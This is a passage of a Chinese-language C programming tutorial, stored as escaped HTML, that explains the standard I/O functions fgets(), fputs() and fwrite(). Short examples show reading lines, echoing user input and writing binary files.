个字符之后,或者遇到换行符与文件结尾,就会停止读取,然后在已经读取的内容末尾添加一个空字符\u003ccode\u003e\\0\u003c/code\u003e,使之成为一个字符串。注意,\u003ccode\u003efgets()\u003c/code\u003e会将换行符(\u003ccode\u003e\\n\u003c/code\u003e)存储进字符串。\u003c/p\u003e\u003cp\u003e如果\u003ccode\u003efgets\u003c/code\u003e的第三个参数是\u003ccode\u003estdin\u003c/code\u003e,就可以读取标准输入,等同于\u003ccode\u003escanf()\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003efgets(str, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(str), \u003cspan class=\"built_in\"\u003estdin\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e读取成功时,\u003ccode\u003efgets()\u003c/code\u003e的返回值是它的第一个参数,即指向字符串的指针,否则返回空指针 NULL。\u003c/p\u003e\u003cp\u003e\u003ccode\u003efgets()\u003c/code\u003e可以用来读取文件的每一行,下面是读取文件所有行的例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e FILE* fp;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e s[\u003cspan class=\"number\"\u003e1024\u003c/span\u003e]; \u003cspan class=\"comment\"\u003e// 数组必须足够大,足以放下一行\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e linecount = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e fp = fopen(\u003cspan class=\"string\"\u003e\u0026#34;hello.txt\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;r\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (fgets(s, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e s, fp) != \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d: %s\u0026#34;\u003c/span\u003e, ++linecount, s);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e fclose(fp);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,每读取一行,都会输出行号和该行的内容。\u003c/p\u003e\u003cp\u003e下面的例子是循环读取用户的输入。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e words[\u003cspan class=\"number\"\u003e10\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eputs\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Enter strings (q to quit):\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (fgets(words, \u003cspan class=\"number\"\u003e10\u003c/span\u003e, \u003cspan class=\"built_in\"\u003estdin\u003c/span\u003e) != \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (words[\u003cspan class=\"number\"\u003e0\u003c/span\u003e] == \u003cspan class=\"string\"\u003e\u0026#39;q\u0026#39;\u003c/span\u003e \u0026amp;\u0026amp; words[\u003cspan class=\"number\"\u003e1\u003c/span\u003e] == \u003cspan class=\"string\"\u003e\u0026#39;\\n\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eputs\u003c/span\u003e(words);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eputs\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Done.\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面的示例中,如果用户输入的字符串大于9个字符,\u003ccode\u003efgets()\u003c/code\u003e会多次读取。直到遇到\u003ccode\u003eq\u003c/code\u003e + 回车键,才会退出循环。\u003c/p\u003e\u003ch3 id=\"fputs\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#fputs\" class=\"headerlink\" title=\"fputs()\"\u003e\u003c/a\u003efputs()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003efputs()\u003c/code\u003e函数用于向文件写入字符串,和\u003ccode\u003eputs()\u003c/code\u003e函数只有一点不同,那就是它不会在字符串末尾添加换行符。这是因为\u003ccode\u003efgets()\u003c/code\u003e保留了换行符,所以\u003ccode\u003efputs()\u003c/code\u003e就不添加了。\u003ccode\u003efputs()\u003c/code\u003e函数通常与\u003ccode\u003efgets()\u003c/code\u003e配对使用。\u003c/p\u003e\u003cp\u003e它的原型定义在\u003ccode\u003estdio.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003efputs\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* str, FILE* stream)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它接受两个参数,第一个参数是字符串指针,第二个参数是要写入的文件指针。如果第二个参数为\u003ccode\u003estdout\u003c/code\u003e(标准输出),就是将内容输出到计算机屏幕,等同于\u003ccode\u003eprintf()\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e words[\u003cspan class=\"number\"\u003e14\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eputs\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Enter a string, please.\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efgets(words, \u003cspan class=\"number\"\u003e14\u003c/span\u003e, \u003cspan class=\"built_in\"\u003estdin\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eputs\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;This is your string:\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003efputs\u003c/span\u003e(words, \u003cspan class=\"built_in\"\u003estdout\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,先用\u003ccode\u003efgets()\u003c/code\u003e从\u003ccode\u003estdin\u003c/code\u003e读取用户输入,然后用\u003ccode\u003efputs()\u003c/code\u003e输出到\u003ccode\u003estdout\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e写入成功时,\u003ccode\u003efputs()\u003c/code\u003e返回一个非负整数,否则返回 EOF。\u003c/p\u003e\u003ch3 id=\"fwrite\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#fwrite\" class=\"headerlink\" title=\"fwrite()\"\u003e\u003c/a\u003efwrite()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003efwrite()\u003c/code\u003e用来一次性写入较大的数据块,主要用途是将数组数据一次性写入文件,适合写入二进制数据。它的原型定义在\u003ccode\u003estdio.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003esize_t\u003c/span\u003e \u003cspan class=\"title function_\"\u003efwrite\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e* ptr,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003esize_t\u003c/span\u003e size,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003esize_t\u003c/span\u003e nmemb,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e FILE* fp\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它接受四个参数。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003eptr\u003c/code\u003e:数组指针。\u003c/li\u003e\u003cli\u003e\u003ccode\u003esize\u003c/code\u003e:每个数组成员的大小,单位字节。\u003c/li\u003e\u003cli\u003e\u003ccode\u003enmemb\u003c/code\u003e:数组成员的数量。\u003c/li\u003e\u003cli\u003e\u003ccode\u003efp\u003c/code\u003e:要写入的文件指针。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e注意,\u003ccode\u003efwrite()\u003c/code\u003e原型的第一个参数类型是\u003ccode\u003evoid*\u003c/code\u003e,这是一个无类型指针,编译器会自动将参数指针转成\u003ccode\u003evoid*\u003c/code\u003e类型。正是由于\u003ccode\u003efwrite()\u003c/code\u003e不知道数组成员的类型,所以才需要知道每个成员的大小(第二个参数)和成员数量(第三个参数)。\u003c/p\u003e\u003cp\u003e\u003ccode\u003efwrite()\u003c/code\u003e函数的返回值是成功写入的数组成员的数量(注意不是字节数)。正常情况下,该返回值就是第三个参数\u003ccode\u003enmemb\u003c/code\u003e,但如果出现写入错误,只写入了一部分成员,返回值会比\u003ccode\u003enmemb\u003c/code\u003e小。\u003c/p\u003e\u003cp\u003e要将整个数组\u003ccode\u003earr\u003c/code\u003e写入文件,可以采用下面的写法。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003efwrite(\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e arr,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(arr[\u003cspan class=\"number\"\u003e0\u003c/span\u003e]),\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(arr) / \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(arr[\u003cspan class=\"number\"\u003e0\u003c/span\u003e]),\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e fp\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003esizeof(a[0])\u003c/code\u003e是每个数组成员占用的字节,\u003ccode\u003esizeof(a) / sizeof(a[0])\u003c/code\u003e是整个数组的成员数量。\u003c/p\u003e\u003cp\u003e下面的例子是将一个大小为256字节的字符串写入文件。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e buffer[\u003cspan class=\"number\"\u003e256\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efwrite(buffer, \u003cspan class=\"number\"\u003e1\u003c/span\u003e, \u003cspan class=\"number\"\u003e256\u003c/span\u003e, fp);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,数组\u003ccode\u003ebuffer\u003c/code\u003e每个成员是1个字节,一共有256个成员。由于\u003ccode\u003efwrite()\u003c/code\u003e是连续内存复制,所以写成\u003ccode\u003efwrite(buffer, 256, 1, fp)\u003c/code\u003e也能达到目的。\u003c/p\u003e\u003cp\u003e\u003ccode\u003efwrite()\u003c/code\u003e没有规定一定要写入整个数组,只写入数组的一部分也是可以的。\u003c/p\u003e\u003cp\u003e任何类型的数据都可以看成是1字节数据组成的数组,或者是一个成员的数组,所以\u003ccode\u003efwrite()\u003c/code\u003e实际上可以写入任何类型的数据,而不仅仅是数组。比如,\u003ccode\u003efwrite()\u003c/code\u003e可以将一个 Struct 结构写入文件保存。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003efwrite(\u0026amp;s, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(s), \u003cspan class=\"number\"\u003e1\u003c/span\u003e, fp);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003es\u003c/code\u003e是一个 Struct 结构指针,可以看成是一个成员的数组。注意,如果\u003ccode\u003es\u003c/code\u003e的属性包含指针,存储时需要小心,因为保存指针可能没意义,还原出来的时候,并不能保证指针指向的数据还存在。\u003c/p\u003e\u003cp\u003e\u003ccode\u003efwrite()\u003c/code\u003e以及后面要介绍的\u003ccode\u003efread()\u003c/code\u003e,比较适合读写二进制数据,因为它们不会对写入的数据进行解读。二进制数据可能包含空字符\u003ccode\u003e\\0\u003c/code\u003e,这是 C 语言的字符串结尾标记,所以读写二进制文件,不适合使用文本读写函数(比如\u003ccode\u003efprintf()\u003c/code\u003e等)。\u003c/p\u003e\u003cp\u003e下面是一个写入二进制文件的例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e FILE* fp;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e bytes[] = {\u003cspan class=\"number\"\u003e5\u003c/span\u003e, \u003cspan class=\"number\"\u003e37\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e88\u003c/span\u003e, \u003cspan class=\"number\"\u003e255\u003c/span\u003e, \u003cspan class=\"number\"\u003e12\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e fp = fopen(\u003cspan class=\"string\"\u003e\u0026#34;output.bin\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;wb\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e fwrite(bytes, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"type\"\u003echar\u003c/span\u003e), \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(bytes), fp);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e fclose(fp);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,写入二进制文件时,\u003ccode\u003efopen()\u003c/code\u003e要使用\u003ccode\u003ewb\u003c/code\u003e模式打开,表示二进制写入。\u003ccode\u003efwrite()\u003c/code\u003e可以把数据解释成单字节数组,因此它的第二个参数是\u003ccode\u003esizeof(char)\u003c/code\u003e,第三个参数是数组的总字节数\u003ccode\u003esizeof(bytes)\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e上面例子写入的文件\u003ccode\u003eoutput.bin\u003c/code\u003e,使用十六进制编辑器打开,会是下面的内容。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"number\"\u003e05\u003c/span\u003e \u003cspan class=\"number\"\u003e25\u003c/span\u003e \u003cspan class=\"number\"\u003e00\u003c/span\u003e \u003cspan class=\"number\"\u003e58\u003c/span\u003e ff \u003cspan class=\"number\"\u003e0\u003c/span\u003ec\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003efwrite()\u003c/code\u003e还可以连续向一个文件写入数据。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003eclientData\u003c/span\u003e \u003cspan class=\"title\"\u003emyClient\u003c/span\u003e =\u003c/span\u003e {\u003cspan class=\"number\"\u003e1\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;foo bar\u0026#39;\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan 